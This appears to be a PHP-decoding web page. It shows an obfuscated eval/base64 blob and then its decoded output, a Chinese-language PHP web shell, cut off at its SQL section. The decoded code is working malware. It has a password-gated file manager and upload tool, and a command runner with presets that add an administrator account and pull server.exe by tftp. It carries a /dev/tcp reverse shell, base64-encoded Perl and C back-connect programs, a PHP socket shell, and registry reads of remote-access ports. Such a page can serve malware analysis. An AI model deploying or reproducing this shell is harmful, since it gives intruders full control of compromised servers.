Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzuncompress(base64_decode('eJzsvft7VMeRMPwzfh7/D8cnCmfGHo1mdAMkRkboAsK6WSMuBvFO5nIkH..

Decoded Output download

ob_start();
define('myaddress',$_SERVER['SCRIPT_FILENAME']);
define('envlpass',$password);
define('shellname',$shellname);
define('myurl',$myurl);
if(@get_magic_quotes_gpc()){
	foreach($_POST as $k => $v) $_POST[$k] = stripslashes($v);
	foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v);
}
if(isset($_REQUEST[envlpass])){
hmlogin(2);
exit;}
	 if($_COOKIE['envlpass'] != md5(envlpass)){
	if($_POST['envlpass']){
		if($_POST['envlpass'] == envlpass){
			setcookie('envlpass',md5($_POST['envlpass']));
			css_main();
			hmlogin();
			die;
		}else{
			echo '<CENTER></CENTER>';
			
		}
	}
	islogin($shellname,$myurl);
	exit;
	
}

/*---End Login---*/
if(isset($_GET['down'])) do_down($_GET['down']);
if(isset($_GET['pack'])){
	$dir = do_show($_GET['pack']);
	$zip = new eanver($dir);
	$out = $zip->out;
	do_download($out,"eanver.tar.gz");
}
if(isset($_GET['unzip'])){
	css_main();
	start_unzip($_GET['unzip'],$_GET['unzip'],$_GET['todir']);
	exit;
}

define('root_dir',str_replace('\\','/',dirname(myaddress)).'/');
define('run_win',substr(PHP_OS, 0, 3) == "WIN");
define('my_shell',str_path(root_dir.$_SERVER['SCRIPT_NAME']));
$eanver = isset($_GET['eanver']) ? $_GET['eanver'] : "";
$doing = isset($_POST['doing']) ? $_POST['doing'] : "";
$path = isset($_GET['path']) ? $_GET['path'] : root_dir;
$name = isset($_POST['name']) ? $_POST['name'] : "";
$img = isset($_GET['img']) ? $_GET['img'] : "";
$p = isset($_GET['p']) ? $_GET['p'] : "";
$pp = urlencode(dirname($p));
if($img) css_img($img);
if($eanver == "phpinfo") die(phpinfo());
if($eanver == 'logout'){
	setcookie('envlpass',null);
	die('<meta http-equiv="refresh" content="0;URL=?">');
}

$class = array(
"" => array("upfiles" => "","phpinfo" => "","info_f" => "","phpcode" => "PHP"),
"" => array("sqlshell" => "SQL","mysql_exec" => "MYSQL","othersql" => "","myexp" => "MYSQL_UDF","winapi" => "WIN API","mofshell" => "Mof","cmd" => "CMD","linux" => "","servu" => "Serv-U","readpass" => "root","downloader" => "","port" => ""),
"" => array("guama" => "","tihuan" => "","scanfile" => "","scanphp" => "","zippak" => "zip"),
"" => array("getcode" => "")
);
$msg = array("0" => "","1" => "","2" => "","3" => "","4" => "","5" => "","6" => "","7" => "");
css_main();
switch($eanver){
	case "left":
	css_left();
		html_n("<dl><dt><a href=\"#\" onclick=\"showHide('items1');\" target=\"_self\">");
		html_img("title");html_n(" </a></dt><dd id=\"items1\" style=\"display:block;\"><ul>");
    $ROOT_DIR = File_Mode();

	for ($i=66;$i<=90;$i++){$drive= chr($i).':';
    if (is_dir($drive."/")){$vol=File_Str("vol $drive");if(empty($vol))$vol=$drive;
    html_n("<li><a title='$drive' href='?eanver=main&path=$drive' target='main'>($drive)</a></li>");}}
    	html_n("<li><a title='$ROOT_DIR' href='?eanver=main&path=$ROOT_DIR' target='main'></a></li>");
	html_n("<li><a href='?eanver=main' target='main'></a></li>");
	html_n("</ul></dd></dl>");
	$i = 2;
	foreach($class as $name => $array){
		html_n("<dl><dt><a href=\"#\" onclick=\"showHide('items$i');\" target=\"_self\">");
		html_img("title");html_n(" $name</a></dt><dd id=\"items$i\" style=\"display:block;\"><ul>");
		foreach($array as $url => $value){
			html_n("<li><a href=\"?eanver=$url\" target='main'>$value</a></li>");
		}
		html_n("</ul></dd></dl>");
		$i++;
	}
	html_n("<dl><dt><a href=\"#\" onclick=\"showHide('items$i');\" target=\"_self\">");
	html_img("title");html_n(" </a></dt><dd id=\"items$i\" style=\"display:block;\"><ul>");
	html_n("<li><a title='' href='http://www.web-shell.com/index.html' target=\"main\"></a></li>");
    html_n("<li><a title='' href='?eanver=logout' target=\"main\"></a></li>");
	html_n("</ul></dd></dl>");
	html_n("</div>");
	break;

	case "main":
	css_js("1");
function getFilePermissions($file)
{
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = 'p';
} else {
    // Unknown
    $info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : '-'));

return $info;

}
	
	$dir = @dir($path);
	$REAL_DIR = File_Str(realpath($path));
	if(!empty($_POST['actall'])){echo '<div class="actall">'.File_Act($_POST['files'],$_POST['actall'],$_POST['inver'],$REAL_DIR).'</div>';}
	$NUM_D = $NUM_F = 0;
	if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/';
	$ROOT_DIR = File_Mode();	
	html_n("<table width=\"100%\" border=0 bgcolor=\"#555555\"><tr><td><form method='GET'>:<input type='hidden' name='eanver' value='main'>");
	html_n("<input type='text' size='80' name='path' value='$path'> <input type='submit' value=''></form>");
	html_n("<form method='POST' enctype=\"multipart/form-data\" action='?eanver=editr&p=".urlencode($path)."'>");
	html_n("<input type=\"button\" value=\"\" onclick=\"rusurechk('newfile.php','?eanver=editr&p=".urlencode($path)."&refile=1&name=');\">&nbsp;<input type=\"button\" value=\"\" onclick=\"rusurechk('newdir','?eanver=editr&p=".urlencode($path)."&redir=1&name=');\">");
	html_input("file","upfilet","","&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ");
	html_input("submit","uploadt","");
	if(!empty($_POST['newfile'])){
		if(isset($_POST['bin'])) $bin = $_POST['bin']; else $bin = "wb";
        if (substr(PHP_VERSION,0,1)>=5){if(($_POST['charset']=='GB2312') or ($_POST['charset']=='GBK')){}else{$_POST['txt'] = iconv("gb2312//IGNORE",$_POST['charset'],$_POST['txt']);}}
		echo do_write($_POST['newfile'],$bin,$_POST['txt']) ? '<br>'.$_POST['newfile'].' '.$msg[0] : '<br>'.$_POST['newfile'].' '.$msg[1];
		@touch($_POST['newfile'],@strtotime($_POST['time']));
	}
	html_n('</form></td></tr></table><form method="POST" name="fileall" id="fileall" action="?eanver=main&path='.$path.'"><table width="100%" border=0 bgcolor="#555555"><tr height="25"><td width="35%"><b>');
	html_a('?eanver=main&path='.uppath($path),'<b><font color=red></font></b>');
	html_n('</b></td><td align="center" width="15%"><b></b></td><td align="center" width="10%">');
	html_n('<b></b></td><td align="center" width="15%"><b></b></td><td align="center" width="5%"><b></b></td></tr>');
	while($dirs = @$dir->read()){
		if($dirs == '.' or $dirs == '..') continue;
		$dirpath = str_path("$path/$dirs");
		if(is_dir($dirpath)){
			$perm = getFilePermissions($dirpath)." ".substr(base_convert(fileperms($dirpath),10,8),-4);
			$filetime = @date('Y-m-d H:i:s',@filemtime($dirpath));
			$dirpath = urlencode($dirpath);
			html_n('<tr height="25"><td><input type="checkbox" name="files[]" value="'.$dirs.'">');
			html_img("dir");
			html_a('?eanver=main&path='.$dirpath,$dirs);
			html_n('</td><td align="center">');
			html_n("<a href=\"#\" onClick=\"rusurechk('$dirs','?eanver=rename&p=$dirpath&newname=');return false;\"></a>");
			html_n("<a href=\"#\" onClick=\"rusuredel('$dirs','?eanver=deltree&p=$dirpath');return false;\"></a> ");
			html_a('?pack='.$dirpath,'');
			html_n('</td><td align="center">');
			html_a('?eanver=perm&p='.$dirpath.'&chmod='.$perm,$perm);
			html_n('</td><td align="center">'.$filetime.'</td><td align="right">');
			html_n('</td></tr>');
			$NUM_D++;
		}
	}
	@$dir->rewind();
	while($files = @$dir->read()){
		if($files == '.' or $files == '..') continue;
		$filepath = str_path("$path/$files");
		if(!is_dir($filepath)){
			$fsize = @filesize($filepath);
			$fsize = File_Size($fsize);
			$perm  = getFilePermissions($dirpath)." ".substr(base_convert(fileperms($filepath),10,8),-4);
			$filetime = @date('Y-m-d H:i:s',@filemtime($filepath));
			$Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$filepath);
			$todir=$ROOT_DIR.'/zipfile';
			$filepath = urlencode($filepath);
			$it=substr($filepath,-3);
			html_n('<tr height="25"><td><input type="checkbox" name="files[]" value="'.$files.'">');
			html_img(css_showimg($files));
			html_a($Fileurls,$files,' target="_blank" title=""');
			html_n('</td><td align="center">');
            if(($it=='.gz') or ($it=='zip') or ($it=='tar') or ($it=='.7z'))
			   html_a('?unzip='.$filepath,'','title="'.$files.'" onClick="rusurechk(\''.$todir.'\',\'?unzip='.$filepath.'&todir=\');return false;"');
			else
           	html_a('?eanver=editr&p='.$filepath,'','title="'.$files.'"');
			html_n("<a href=\"#\" onClick=\"rusurechk('$files','?eanver=rename&p=$filepath&newname=');return false;\"></a>");
			html_n("<a href=\"#\" onClick=\"rusurechk('".urldecode($filepath)."','?eanver=copy&p=$filepath&newcopy=');return false;\"></a>");
			html_n("<a href=\"#\" onClick=\"rusuredel('$files','?eanver=del&p=$filepath');return false;\"></a> ");
           	html_a('?down='.$filepath,'','','title="'.$files.'"');
			html_n('</td><td align="center">');
			html_a('?eanver=perm&p='.$filepath.'&chmod='.$perm,$perm);
			html_n('</td><td align="center">'.$filetime.'</td><td align="center">');
			html_a('?down='.$filepath,$fsize,'title="'.$files.'"');
			html_n('</td></tr>');
			$NUM_F++;
		}
	}
	@$dir->close();
	if(!$Filetime) $Filetime = gmdate('Y-m-d H:i:s',time() + 3600 * 8);
print<<<END
</table>
<div class="actall"> <input type="hidden" id="actall" name="actall" value="undefined"> 
<input type="hidden" id="inver" name="inver" value="undefined"> 
<input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form);"> 
<input type="button" value="" onclick="SubmitUrl(': ','{$REAL_DIR}','a');return false;"> 
<input type="button" value="" onclick="Delok('','b');return false;"> 
<input type="button" value="" onclick="SubmitUrl(': ','0666','c');return false;"> 
<input type="button" value="" onclick="CheckDate('{$Filetime}','d');return false;"> 
<input type="button" value="" onclick="SubmitUrl(': ','{$_SERVER['SERVER_NAME']}.tar.gz','e');return false;">
({$NUM_D}) / ({$NUM_F})</div> 
</form> 
END;
	break;
	
	case "editr":
	css_js("2");
	if(!empty($_POST['uploadt'])){
		echo @copy($_FILES['upfilet']['tmp_name'],str_path($p.'/'.$_FILES['upfilet']['name'])) ? html_a("?eanver=main",$_FILES['upfilet']['name'].' '.$msg[2]) : msg($msg[3]);
		die('<meta http-equiv="refresh" content="1;URL=?eanver=main&path='.urlencode($p).'">');
	}
	if(!empty($_GET['redir'])){
        $name=$_GET['name'];
		$newdir = str_path($p.'/'.$name);
		@mkdir($newdir,0777) ? html_a("?eanver=main",$name.' '.$msg[0]) : msg($msg[1]);
		die('<meta http-equiv="refresh" content="1;URL=?eanver=main&path='.urlencode($p).'">');
	}

	if(!empty($_GET['refile'])){
        $name=$_GET['name'];
		$jspath=urlencode($p.'/'.$name);
		$pp = urlencode($p);
		$p = str_path($p.'/'.$name);
		$FILE_CODE = "";
		$charset= 'GB2312';
        $FILE_TIME =date('Y-m-d H:i:s',time()+3600*8);
		if(@file_exists($p)) echo '""<br>';
	}else{
		$jspath=urlencode($p);
		$FILE_TIME = date('Y-m-d H:i:s',filemtime($p));
        $FILE_CODE=@file_get_contents($p);
	     if (substr(PHP_VERSION,0,1)>=5){
            if(empty($_GET['charset'])){
			   if(TestUtf8($FILE_CODE)>1){$charset= 'UTF-8';$FILE_CODE = iconv("UTF-8","gb2312//IGNORE",$FILE_CODE);}else{$charset= 'GB2312';}
			  }else{
			   if($_GET['charset']=='GB2312'){$charset= 'GB2312';}else{$charset= $_GET['charset'];$FILE_CODE = iconv($_GET['charset'],"gb2312//IGNORE",$FILE_CODE);}
			  }
		  }
        $FILE_CODE = htmlspecialchars($FILE_CODE);
	}
print<<<END
<div class="actall">: <input name="searchs" type="text" value="{$dim}" style="width:500px;">
<input type="button" value="" onclick="search(searchs.value)"></div>
<form method='POST' id="editor"  action='?eanver=main&path={$pp}'>
<div class="actall">
<input type="text" name="newfile"  id="newfile" value="{$p}" style="width:750px;"><input name="charset" id="charset" value="{$charset}" Type="text" style="width:80px;" onkeydown="if(event.keyCode==13)window.location='?eanver=editr&p={$jspath}&charset='+this.value;">
<input type="button" value="" onclick="window.location='?eanver=editr&p={$jspath}&charset='+this.form.charset.value;" style="width:50px;"> 
END;
html_select(array("GB2312" => "GB2312","UTF-8" => "UTF-8","BIG5" => "BIG5","EUC-KR" => "EUC-KR","EUC-JP" => "EUC-JP","SHIFT-JIS" => "SHIFT-JIS","WINDOWS-874" => "WINDOWS-874","ISO-8859-1" => "ISO-8859-1"),$charset,"onchange=\"window.location='?eanver=editr&p={$jspath}&charset='+options[selectedIndex].value;\"");
print<<<END
</div>
<div class="actall"><textarea name="txt" style="width:100%;height:380px;">{$FILE_CODE}</textarea></div>
<div class="actall"> <input type="text" name="time" id="mtime" value="{$FILE_TIME}" style="width:150px;"> <input type="checkbox" name="bin" value="wb+" size="" checked>()</div>
<div class="actall"><input type="button" value="" onclick="CheckDate();" style="width:80px;"> <input name='reset' type='reset' value=''> 
<input type="button" value="" onclick="window.location='?eanver=main&path={$pp}';" style="width:80px;"></div>
</form>
END;
	break;
	
	case "rename":
	html_n("<tr><td>");
	$newname = urldecode($pp).'/'.urlencode($_GET['newname']);
	@rename($p,$newname) ? html_a("?eanver=main&path=$pp",urlencode($_GET['newname']).' '.$msg[4]) : msg($msg[5]);
	die('<meta http-equiv="refresh" content="1;URL=?eanver=main&path='.$pp.'">');
	break;
	
	case "deltree":
	html_n("<tr><td>");
	do_deltree($p) ? html_a("?eanver=main&path=$pp",$p.' '.$msg[6]) : msg($msg[7]);
	die('<meta http-equiv="refresh" content="1;URL=?eanver=main&path='.$pp.'">');
	break;
	
	case "del":
	html_n("<tr><td>");
	@unlink($p) ? html_a("?eanver=main&path=$pp",$p.' '.$msg[6]) : msg($msg[7]);
	die('<meta http-equiv="refresh" content="1;URL=?eanver=main&path='.$pp.'">');
	break;
	
	case "copy":
	html_n("<tr><td>");
	$newpath = explode('/',$_GET['newcopy']);
	$pathr[0] = $newpath[0];
	for($i=1;$i < count($newpath);$i++){
		$pathr[] = urlencode($newpath[$i]);
	}
	$newcopy = implode('/',$pathr);
	@copy($p,$newcopy) ? html_a("?eanver=main&path=$pp",$newcopy.' '.$msg[4]) : msg($msg[5]);
	die('<meta http-equiv="refresh" content="1;URL=?eanver=main&path='.$pp.'">');
	break;
	
	case "perm":
	html_n("<form method='POST'><tr><td>".$p.' : ');
	if(is_dir($p)){
		html_select(array("0777" => "0777","0755" => "0755","0555" => "0555"),$_GET['chmod']);
	}else{
		html_select(array("0666" => "0666","0644" => "0644","0444" => "0444"),$_GET['chmod']);
	}
	html_input("submit","save","");
	back();
	if($_POST['class']){
		switch($_POST['class']){
			case "0777": $change = @chmod($p,0777); break;
			case "0755": $change = @chmod($p,0755); break;
			case "0555": $change = @chmod($p,0555); break;
			case "0666": $change = @chmod($p,0666); break;
			case "0644": $change = @chmod($p,0644); break;
			case "0444": $change = @chmod($p,0444); break;
		}
		$change ? html_a("?eanver=main&path=$pp",$msg[4]) : msg($msg[5]);
		die('<meta http-equiv="refresh" content="1;URL=?eanver=main&path='.$pp.'">');
	}
	html_n("</td></tr></form>");
	break;

    case "info_f":

function Info_Cfg($varname){
switch($result = get_cfg_var($varname)){
	case 0:return "No";break;
	case 1:return "Yes";break;
	default:return $result;break;}}
function Info_Fun
($funName){return(false !==function_exists($funName)) ? "Yes" : "No";}



$dis_func = get_cfg_var("disable_functions");

$upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "";

$adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "<a href=\"mailto:".$_SERVER['SERVER_ADMIN']."\">".$_SERVER
['SERVER_ADMIN']."</a>" : "<a href=\"mailto:".get_cfg_var("sendmail_from")."\">".get_cfg_var("sendmail_from")."</a>";

if($dis_func == "")
{$dis_func = "No";
}
else{
	$dis_func = str_replace(" ","<br>",$dis_func);

	$dis_func = str_replace(",","<br>",$dis_func);

}

$phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No";

$info = array(
array("/",date("Ymd h:i:s",time())."&nbsp;/&nbsp;".gmdate("Ynj H:i:s",time()+8*3600)),
array(":(ip)","<a href=\"http://".$_SERVER['SERVER_NAME']."\" 
target=\"_blank\">".$_SERVER['SERVER_NAME']."</a>:".$_SERVER['SERVER_PORT']." ( ".gethostbyname($_SERVER['SERVER_NAME'])." )"),
array("(
)",PHP_OS." (".$_SERVER['HTTP_ACCEPT_LANGUAGE'].")"),
array("",$_SERVER['SERVER_SOFTWARE']),
array("IP",getenv('REMOTE_ADDR')),
array("PHP(
)",strtoupper(php_sapi_name())."(".PHP_VERSION.") / :".Info_Cfg("safemode")),
array("",$adminmail),
array("",__FILE__),
array("URL[allow_url_fopen]",Info_Cfg("allow_url_fopen")),
array("[enable_dl]",Info_Cfg("enable_dl")),
array("[display_errors]",Info_Cfg("display_errors")),
array("[register_globals]",Info_Cfg("register_globals")),
array("[magic_quotes_gpc]",Info_Cfg("magic_quotes_gpc")),
array("[memory_limit]",Info_Cfg("memory_limit")),
array("POST[post_max_size]",Info_Cfg("post_max_size")),
array("[upload_max_filesize]",$upsize),
array("[max_execution_time]",Info_Cfg("max_execution_time").""),
array("[disable_functions]",$dis_func),
array("[phpinfo()]",$phpinfo),
array("diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'),
array("GZ[zlib]",Info_Fun("gzclose")),
array("ZIP[ZipArchive(php_zip)]",Info_Fun
("zip_open")),
array("IMAP",Info_Fun("imap_close")),
array("XML",Info_Fun("xml_set_object")),
array("FTP",Info_Fun("ftp_login")),
array("Session",Info_Fun
("session_start")),
array("Socket",Info_Fun("fsockopen")),
array("MySQL",Info_Fun("mysql_close")),
array("MSSQL",Info_Fun("mssql_close")),
array("Postgre SQL",Info_Fun("pg_close")),
array("SQLite",Info_Fun("sqlite_close")),
array("Oracle",Info_Fun("ora_close")),
array("Oracle 8",Info_Fun("OCILogOff")),
array("SyBase",Info_Fun("sybase_close")),
array("Hyperwave",Info_Fun("hw_close")),
array("InforMix",Info_Fun("ifx_close")),
array("FilePro",Info_Fun("filepro_fieldcount")),
array("DBA/DBM",Info_Fun("dba_close")."&nbsp;/&nbsp;".Info_Fun("dbmclose")),
array("ODBC/dBASE",Info_Fun("odbc_close")."&nbsp;/&nbsp;".Info_Fun("dbase_close")),
array("PREL[PCRE]",Info_Fun("preg_match")),
array("PDF",Info_Fun("pdf_close")),
array("[GD Library]",Info_Fun("imageline")),
array("SNMP",Info_Fun
("snmpget")),);

echo '<table width="100%" border="0">';
for($i = 0;$i < count($info);$i++){echo '<tr><td width="40%">'.$info[$i][0].'</td><td>'.$info[$i][1].'</td></tr>'."\n";}


$shell = new COM("WScript.Shell") or die("This thing requires Windows Scripting Host");
try{$registry_proxystring = $shell->RegRead("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\PortNumber");
$Telnet = $shell->RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\TelnetServer\\1.0\\TelnetPort");
$PcAnywhere = $shell->RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Symantec\\pcAnywhere\\CurrentVersion\\System\\TCPIPDataPort");
}catch(Exception $e){}
    echo '<tr><td width="40%">Terminal Service</td><td>'.$registry_proxystring.'</td></tr>'."\n";
	echo '<tr><td width="40%">Telnet</td><td>'.$Telnet.'</td></tr>'."\n";
	echo '<tr><td width="40%">PcAnywhere</td><td>'.$PcAnywhere.'</td></tr>'."\n";
	echo '</table>';
break;

    case "cmd":
	$res = '';
	$cmd = 'dir';
	if(!empty($_POST['cmd'])){$res = Exec_Run(base64_decode($_POST['cmd']));$cmd = htmlspecialchars(base64_decode($_POST['cmd']));}
print<<<END
<script language="javascript">
function sFull(i){
	Str = new Array(11);
	Str[0] = "dir";
	Str[1] = "net user web-shell web-shell /add";
	Str[2] = "net localgroup administrators web-shell /add";
	Str[3] = "netstat -ano";
	Str[4] = "ipconfig";
	Str[5] = "copy c:\\1.php d:\\2.php";
	Str[6] = "tftp -i {$_SERVER["REMOTE_ADDR"]} get server.exe c:\\server.exe";
	Str[7] = "0<&123;exec 123<>/dev/tcp/{$_SERVER["REMOTE_ADDR"]}/12666; sh <&123 >&123 2>&123";
	Str[8] = "tasklist -svc";
	document.getElementById('cmd').value = Str[i];
	return true;
}
END;
html_base();
print<<<END
function SubmitUrl(){
			document.getElementById('cmd').value = base64encode(document.getElementById('cmd').value);
			document.getElementById('gform').submit();
}
</script>
<form method="POST" name="gform" id="gform" ><center><div class="actall">BASE64</div><div class="actall">
 <input type="text" name="cmd" id="cmd" value="{$cmd}" onkeydown="if(event.keyCode==13)SubmitUrl();" style="width:399px;">
<select onchange='return sFull(options[selectedIndex].value)'>
<option value="0" selected>----</option>
<option value="1"></option>
<option value="2"></option>
<option value="3"></option>
<option value="4"></option>
<option value="5"></option>
<option value="6">FTP</option>
<option value="7">Linux</option>
<option value="8"></option>
</select>
	<input type="button" value="" onclick="SubmitUrl();" style="width:80px;">
</div>
<div class="actall"><textarea name="show" style="width:660px;height:399px;">{$res}</textarea></div></center>
</form>
END;
	break;



case "linux":
	
	$yourip = isset($_POST['yourip']) ? $_POST['yourip'] : getenv('REMOTE_ADDR');
	$yourport = isset($_POST['yourport']) ? $_POST['yourport'] : '12666';
	$system=strtoupper(substr(PHP_OS, 0, 3));
print<<<END
<div class="actall"><br>
			"nc -vv -l 12666"<br>
			IP,NC</div>
<form method="POST" name="kform" id="kform">
<div class="actall"> <input type="text" name="yourip" value="{$yourip}" style="width:400px"></div>
<div class="actall"> <input type="text" name="yourport" value="12666" style="width:400px"></div>
<div class="actall"> <select name="use" >
<option value="perl">Perl</option>
<option value="c">C</option>
<option value="php">PHP</option>
<option value="nc">NC</option>
</select></div>
<div class="actall"><input type="submit" value="" style="width:80px;"></div></form>
END;
	if((!empty($_POST['yourip'])) && (!empty($_POST['yourport'])))
	{
	
		echo '<div class="actall">';
		if($_POST['use'] == 'perl')
		{
			$back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
			"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
			"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
			"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
			"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
			"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
			"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
			echo File_Write('/tmp/envl_bc',base64_decode($back_connect_pl),'wb') ? '/tmp/envl_bc<br>' : '/tmp/envl_bc<br>';
			$perlpath = Exec_Run('which perl');
			$perlpath = $perlpath ? chop($perlpath) : 'perl';
			@unlink('/tmp/envl_bc.c');
			echo Exec_Run($perlpath.' /tmp/envl_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -vv -l '.$_POST['yourport'] : '';
		}
		if($_POST['use'] == 'c')
		{
			$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
			"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
			"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
			"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
			"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
			"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
			"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
			"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
			echo File_Write('/tmp/envl_bc.c',base64_decode($back_connect_c),'wb') ? '/tmp/envl_bc.c<br>' : '/tmp/envl_bc.c<br>';
			$res = Exec_Run('gcc -o /tmp/envl_bc /tmp/envl_bc.c');
			@unlink('/tmp/envl_bc.c');
			echo Exec_Run('/tmp/envl_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -vv -l '.$_POST['yourport'] : '';
		}
		if($_POST['use'] == 'php')
		{
		if(!extension_loaded('sockets'))
           {
	        if ($system == 'WIN') {
		        @dl('php_sockets.dll') or die("Can't load socket");
	        }else{
	    	    @dl('sockets.so') or die("Can't load socket");
	        }
           }
		   if($system=="WIN")
           {
         	$env=array('path' => 'c:\\windows\\system32');
            }else{
	        $env = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
           }
           $descriptorspec = array(
         	0 => array("pipe","r"),
	        1 => array("pipe","w"),
	        2 => array("pipe","w"),
           );
		   $host = $_POST['yourip'];
       	   $port = $_POST['yourport'];
           $host=gethostbyname($host);
           $proto=getprotobyname("tcp");
           if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){
             die("Socket");
           }
           if(($ret=socket_connect($sock,$host,$port))<0){
             die("");
           }else{
             $message="----------------------PHP--------------------\n";
             socket_write($sock,$message,strlen($message));
             $cwd=str_replace('\\','/',dirname(__FILE__));
             while($cmd=socket_read($sock,65535,$proto)){
                if(trim(strtolower($cmd))=="exit"){
                   socket_write($sock,"Bye\n");
                   exit;
                }else{
                   $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
                   if (is_resource($process)) {
	                fwrite($pipes[0], $cmd);
	                fclose($pipes[0]);
	                $msg=stream_get_contents($pipes[1]);
	                socket_write($sock,$msg,strlen($msg));
	                fclose($pipes[1]);
	                $msg=stream_get_contents($pipes[2]);
	                socket_write($sock,$msg,strlen($msg));
	                $return_value = proc_close($process);
                   }
                }
		   }
		  }
		}
		if($_POST['use'] == 'nc')
		{
	     echo '<div class="actall">';
		 $mip=$_POST['yourip'];
		 $bport=$_POST['yourport'];
		 $fp=fsockopen($mip , $bport , $errno, $errstr);
		 if (!$fp){
		     $result = "Error: could not open socket connection";
		    }else {
		 fputs ($fp ,"\n*********************************************\n 
		              hacking url:http://www.web-shell.com is ok!        
			          \n*********************************************\n\n");
	     while(!feof($fp)){ 
         fputs ($fp," [r00t@H4c3ing:/root]# ");
         $result= fgets ($fp, 4096);
         $message=`$result`;
         fputs ($fp,"--> ".$message."\n");
                          }
         fclose ($fp);
		       }
         echo '</div>';
		}

		echo '<br> (nc -vv -l '.$_POST['yourport'].') ';
	}
break;

	case "sqlshell":
	$MSG_BOX = '';
	$mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();';
